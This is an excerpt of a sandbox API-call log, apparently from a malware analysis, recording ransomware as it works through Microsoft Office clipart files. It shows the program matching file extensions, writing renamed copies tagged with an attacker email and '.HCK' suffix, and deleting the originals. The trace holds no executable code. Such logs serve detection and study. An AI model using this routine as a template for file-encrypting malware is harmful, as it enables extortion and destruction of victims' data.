Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0156.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0156.802] lstrlenW (lpString=".doc") returned 4 [0156.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.802] lstrlenW (lpString=".docx") returned 5 [0156.802] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0156.802] lstrlenW (lpString=".pdf") returned 4 [0156.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.802] lstrlenW (lpString=".xls") returned 4 [0156.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.802] lstrlenW (lpString=".xlsx") returned 5 [0156.802] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0156.802] lstrlenW (lpString=".ppt") returned 4 [0156.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0156.802] lstrlenW (lpString=".zip") returned 4 [0156.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.802] lstrlenW (lpString=".rar") returned 4 [0156.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.802] lstrlenW (lpString=".bz2") returned 4 [0156.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.802] lstrlenW (lpString=".7z") returned 3 [0156.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0156.802] lstrlenW (lpString=".dbf") returned 4 [0156.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0156.802] lstrlenW (lpString=".1cd") returned 4 [0156.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0156.802] lstrlenW (lpString=".jpg") returned 4 [0156.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.802] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.802] lstrlenW (lpString="BOATINST.WMF") returned 12 [0156.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.803] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=29004) returned 1 [0156.803] CloseHandle (hObject=0x37c) returned 1 [0156.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 0x220 [0156.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.803] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.803] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0156.803] GetLastError () returned 0x0 [0156.803] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x714c, lpOverlapped=0x0) returned 1 [0156.812] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x7150, lpOverlapped=0x0) returned 1 [0156.813] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.813] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.813] SetEndOfFile (hFile=0x2ec) returned 1 [0156.813] CloseHandle (hObject=0x2ec) returned 1 [0156.814] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.814] SetEndOfFile (hFile=0x37c) returned 1 [0156.815] CloseHandle (hObject=0x37c) returned 1 [0156.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.816] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0156.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0156.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0156.816] lstrlenW (lpString=".doc") returned 4 [0156.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.816] lstrlenW (lpString=".docx") returned 5 [0156.816] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0156.816] lstrlenW (lpString=".pdf") returned 4 [0156.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.816] lstrlenW (lpString=".xls") returned 4 [0156.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.816] lstrlenW (lpString=".xlsx") returned 5 [0156.816] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0156.816] lstrlenW (lpString=".ppt") returned 4 [0156.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0156.816] lstrlenW (lpString=".zip") returned 4 [0156.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.816] lstrlenW (lpString=".rar") returned 4 [0156.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.816] lstrlenW (lpString=".bz2") returned 4 [0156.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.816] lstrlenW (lpString=".7z") returned 3 [0156.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0156.816] lstrlenW (lpString=".dbf") returned 4 [0156.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0156.816] lstrlenW (lpString=".1cd") returned 4 [0156.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0156.816] lstrlenW (lpString=".jpg") returned 4 [0156.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0156.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0156.817] lstrlenW (lpString=".doc") returned 4 [0156.817] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.817] lstrlenW (lpString=".docx") returned 5 [0156.817] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0156.817] lstrlenW (lpString=".pdf") returned 4 [0156.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.817] lstrlenW (lpString=".xls") returned 4 [0156.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.817] lstrlenW (lpString=".xlsx") returned 5 [0156.817] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0156.817] lstrlenW (lpString=".ppt") returned 4 [0156.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0156.817] lstrlenW (lpString=".zip") returned 4 [0156.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.817] lstrlenW (lpString=".rar") returned 4 [0156.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.817] lstrlenW (lpString=".bz2") returned 4 [0156.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.817] lstrlenW (lpString=".7z") returned 3 [0156.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0156.817] lstrlenW (lpString=".dbf") returned 4 [0156.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0156.817] lstrlenW (lpString=".1cd") returned 4 [0156.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0156.817] lstrlenW (lpString=".jpg") returned 4 [0156.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.817] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.817] lstrlenW (lpString="BS00078_.WMF") returned 12 [0156.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.832] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=1444) returned 1 [0156.832] CloseHandle (hObject=0x37c) returned 1 [0156.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x220 [0156.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.845] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.845] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0156.845] GetLastError () returned 0x0 [0156.845] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x5a4, lpOverlapped=0x0) returned 1 [0156.846] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x5b0, lpOverlapped=0x0) returned 1 [0156.847] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.847] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.847] SetEndOfFile (hFile=0x2ec) returned 1 [0156.847] CloseHandle (hObject=0x2ec) returned 1 [0156.848] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.848] SetEndOfFile (hFile=0x37c) returned 1 [0156.848] CloseHandle (hObject=0x37c) returned 1 [0156.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0156.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0156.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0156.849] lstrlenW (lpString=".doc") returned 4 [0156.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.849] lstrlenW (lpString=".docx") returned 5 [0156.849] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.849] lstrlenW (lpString=".pdf") returned 4 [0156.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.849] lstrlenW (lpString=".xls") returned 4 [0156.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.849] lstrlenW (lpString=".xlsx") returned 5 [0156.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.849] lstrlenW (lpString=".ppt") returned 4 [0156.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0156.849] lstrlenW (lpString=".zip") returned 4 [0156.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.849] lstrlenW (lpString=".rar") returned 4 [0156.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.849] lstrlenW (lpString=".bz2") returned 4 [0156.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.849] lstrlenW (lpString=".7z") returned 3 [0156.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0156.850] lstrlenW (lpString=".dbf") returned 4 [0156.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0156.850] lstrlenW (lpString=".1cd") returned 4 [0156.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0156.850] lstrlenW (lpString=".jpg") returned 4 [0156.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0156.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0156.850] lstrlenW (lpString=".doc") returned 4 [0156.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.850] lstrlenW (lpString=".docx") returned 5 [0156.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.850] lstrlenW (lpString=".pdf") returned 4 [0156.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.850] lstrlenW (lpString=".xls") returned 4 [0156.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.850] lstrlenW (lpString=".xlsx") returned 5 [0156.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.850] lstrlenW (lpString=".ppt") returned 4 [0156.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0156.850] lstrlenW (lpString=".zip") returned 4 [0156.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.850] lstrlenW (lpString=".rar") returned 4 [0156.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.850] lstrlenW (lpString=".bz2") returned 4 [0156.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.850] lstrlenW (lpString=".7z") returned 3 [0156.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0156.850] lstrlenW (lpString=".dbf") returned 4 [0156.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0156.850] lstrlenW (lpString=".1cd") returned 4 [0156.850] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0156.850] lstrlenW (lpString=".jpg") returned 4 [0156.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.850] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0156.850] lstrlenW (lpString="BS00145_.WMF") returned 12 [0156.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.851] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=1712) returned 1 [0156.851] CloseHandle (hObject=0x37c) returned 1 [0156.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x220 [0156.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.851] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.851] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0156.851] GetLastError () returned 0x0 [0156.851] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x6b0, lpOverlapped=0x0) returned 1 [0156.852] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x6c0, lpOverlapped=0x0) returned 1 [0156.853] ReadFile (in: hFile=0x37c, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.853] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.853] SetEndOfFile (hFile=0x2ec) returned 1 [0156.853] CloseHandle (hObject=0x2ec) returned 1 [0156.854] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.854] SetEndOfFile (hFile=0x37c) returned 1 [0156.855] CloseHandle (hObject=0x37c) returned 1 [0156.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0156.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0156.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0156.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0156.855] lstrlenW (lpString=".doc") returned 4 [0156.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.855] lstrlenW (lpString=".docx") returned 5 [0156.855] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.855] lstrlenW (lpString=".pdf") returned 4 [0156.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.855] lstrlenW (lpString=".xls") returned 4 [0156.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.855] lstrlenW (lpString=".xlsx") returned 5 [0156.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.856] lstrlenW (lpString=".ppt") returned 4 [0156.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0156.856] lstrlenW (lpString=".zip") returned 4 [0156.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.856] lstrlenW (lpString=".rar") returned 4 [0156.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.856] lstrlenW (lpString=".bz2") returned 4 [0156.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.856] lstrlenW (lpString=".7z") returned 3 [0156.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0156.856] lstrlenW (lpString=".dbf") returned 4 [0156.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0156.856] lstrlenW (lpString=".1cd") returned 4 [0156.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0156.856] lstrlenW (lpString=".jpg") returned 4 [0156.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0156.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0156.856] lstrlenW (lpString=".doc") returned 4 [0156.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.856] lstrlenW (lpString=".docx") returned 5 [0156.856] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.856] lstrlenW (lpString=".pdf") returned 4 